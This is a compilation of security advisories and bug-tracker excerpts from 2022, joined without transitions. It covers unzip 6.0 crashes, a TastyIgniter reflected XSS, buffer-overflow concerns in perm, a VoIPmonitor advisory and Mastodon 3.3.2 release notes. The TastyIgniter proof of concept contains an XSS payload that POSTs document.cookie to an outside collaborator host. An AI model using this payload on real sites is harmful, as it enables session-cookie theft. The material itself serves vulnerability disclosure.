A flaw was found in unzip 6.0. The vulnerability occurs during the conversion of an utf-8 string to a local string that leads to a segmentation fault. This flaw allows an attacker to input a specially crafted zip file, leading to a crash or code execution.

Comment 1 Sandipan Roy 2022-02-07 08:00:26 UTC

Created unzip tracking bugs for this issue:

Affects: fedora-all \[bug 2051397\]

Comment 6 Salvatore Bonaccorso 2022-02-12 10:10:22 UTC

Hi,

The referenced bug is not accessible, can you share details on this CVE?

Regards,
Salvatore

Comment 7 Sandipan Roy 2022-02-14 09:54:43 UTC

Hey Nils,

Can you add your flaw and POC files to this bug as public?

Thanks.

Reproduction scripts and bug triggering input.

SIGSEGV during the conversion of an utf-8 string to a local string

# Description
During extraction of the attached zip archive via
\`\`\`
unzip $PWD/testcase
\`\`\`
a nullpointer dereference is triggered and causes a segmentation fault (SIGSEGV).
The bug appears to be located in the code responsible for handling the conversion
of an utf-8 string to a local string.
A possible fix would be to check in the function \`utf8\_to\_local\_string\` whether the
call to \`utf8\_to\_wide\_string\` returns NULL and to handle the situation accordingly.

This bug allows an attacker to perform a denial of service and possibly opens up
other attack vectors.

To reproduce the crash, we provide scripts alongside the crashing input:
- ./reproduce-fedora.sh: Reproduce crash via a Fedora 35 docker container
- ./reproduce-ubuntu.sh: Reproduce crash via a Ubuntu 20.04 docker container

If you need further details, we are happy to assist where possible.

CVE-2022-0530: SIGSEGV during the conversion of an utf-8 string to a local string

A flaw was found in unzip 6.0. The vulnerability occurs during the conversion of wide string to local string that leads to a heap of out-of-bound writes. This flaw allows an attacker to input a specially crafted zip file, leading to a crash or code execution.

CVE-2022-0529: Heap out-of-bound writes and reads during conversion of wide string to local string

A Cross-Site Scripting (XSS) vulnerability exists within the 3.2.2 version of TastyIgniter. The "items%5B0%5D%5Bpath%5D" parameter of a request made to /admin/allergens/edit/1 is vulnerable.

**CVE-2022-23378 : Reflected XSS in TastyIgniter v3.2.2 Restaurtant CMS**

Authenticated reflected XSS exists in the TastyIgniter Admin dashboard in version v3.2.2.

Mitre URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-23378

**Proof of Concept (POC):****Admin Dashboard Allergens:**

**Affected URL:** `/admin/allergens/edit/1?items%5B0%5D%5Bpath%5D=%2fdoesnotexist%3cscript%3efetch('https%3a%2f%2fvgfx3ortri1x8mjfw16ngmpq2h8awz.burpcollaborator.net'%2c%7bmethod%3a%20'POST'%2cmode%3a%20'no-cors'%2cbody%3adocument.cookie%7d)%3b%3c%2fscript%3e%20`

**Source code file affected:** `./vendor/league/flysystem/src/FileNotFoundException.php`

When updating an allergen within the administrator dashboard, an option to attach an image to the allergen is available. When attached, a POST request with parameters pertaining to data about the image is submitted. The parameter `items%5B0%5D%5Bpath%5D` is vulnerable to JavaScript injection, resulting in a potential vector for Cross-Site Scripting (XSS). When including the XSS payload, the server responds with an error message containing and executing the XSS payload.

The basic problem is that it has several instances of strcpy and sprintf, which are
famously known for causing buffer overflows.

I think the sensible option is to replace these with strlcpy and strcat when needed.

But the problem is that the code needs a lot of refactoring, rewriting and debugging to get these things in properly.
So I am tempted to say that we should consider to remove perm from the archive.
Upstream is dead, and I do not think it is worth keeping this in anymore

What do you think?

CVE-2021-38172: Re: Autopkgtest for perm

The config restore function of Voipmonitor GUI before v24.96 does not properly check files sent as restore archives, allowing remote attackers to execute arbitrary commands via a crafted file in the web root.

CVE-2022-24262: News - VoIPmonitor

Mastodon before 3.3.2 and 3.4.x before 3.4.6 has incorrect access control because it does not compact incoming signed JSON-LD activities. (JSON-LD signing has been supported since version 1.6.0.)

![Mastodon](https://camo.githubusercontent.com/151e1927aa71042bef4528c6e8a848b83ecda374a27297111d42f69d5a1f649d/68747470733a2f2f692e696d6775722e636f6d2f4e685a6334306c2e706e67)

> ⚠️ This release is an important security release fixing CVE-2022-24307, **a critical security issue**.
> 
> A corresponding security release is also available for the 3.4.x branch, which is the recommended release.

**Changelog****Fixed**

*   Fix `mastodon:webpush:generate_vapid_key` task requiring a functional environment (ClearlyClaire)
*   Fix spurious errors when receiving an Add activity for a private post (ClearlyClaire)

**Security**

*   Fix error-prone SQL queries (ClearlyClaire)
*   Fix not compacting incoming signed JSON-LD activities (puckipedia, ClearlyClaire) (CVE-2022-24307)
*   Fix insufficient sanitization of report comments (ClearlyClaire)
*   Fix stop condition of a Common Table Expression (ClearlyClaire)
*   Disable legacy XSS filtering (Wonderfall)

**Upgrade notes**

Because this is a backport, it is not available with `git pull`. Use `git fetch && git checkout v3.3.2`

> As always, **make sure you have backups of the database before performing any upgrades**. If you are using docker-compose, this is how a backup command might look: docker exec mastodon\_db\_1 pg\_dump -Fc -U postgres postgres > name\_of\_the\_backup.dump

**Dependencies**

External dependencies have not changed compared to v3.3.1, the compatible Ruby, PostgreSQL, Node, Elasticsearch and Redis versions are the same, that is:

*   Ruby: 2.5 to 2.7
*   PostgreSQL: 9.4 or newer
*   Elasticsearch (optional, for full-text search): 5.x, 6.x or 7.x
*   Redis: 4 or newer
*   Node:
    *   Node 10: 10.0 or newer
    *   Node 12: 12.16 or newer
    *   Node 13: 13.9 or newer
    *   Node 14: 14.5 or newer

Compared to 3.3.0, an additional system dependency is required: `shared-mime-info`, which is likely already installed on your system.  
On Debian-based systems, it can be installed using `apt install shared-mime-info`.

**Update steps**

The following instructions are for updating from 3.3.2.

If you are upgrading directly from an earlier release, please carefully read the upgrade notes for the skipped releases as well, as they often require extra steps such as database migrations.

**Non-Docker**

If you're upgrading from before 3.3.2, make sure you have `shared-mime-info` installed (`apt install shared-mime-info`).

1.  Pull the code: `git fetch && git checkout v3.3.2`
2.  Restart `mastodon-web` and `mastodon-sidekiq`:  
    `systemctl reload mastodon-web`  
    `systemctl restart mastodon-sidekiq`

**Docker**

The exact steps depend on your setup, but they are likely to match the following:

1.  Pull the code: `git fetch && git checkout v3.3.2`
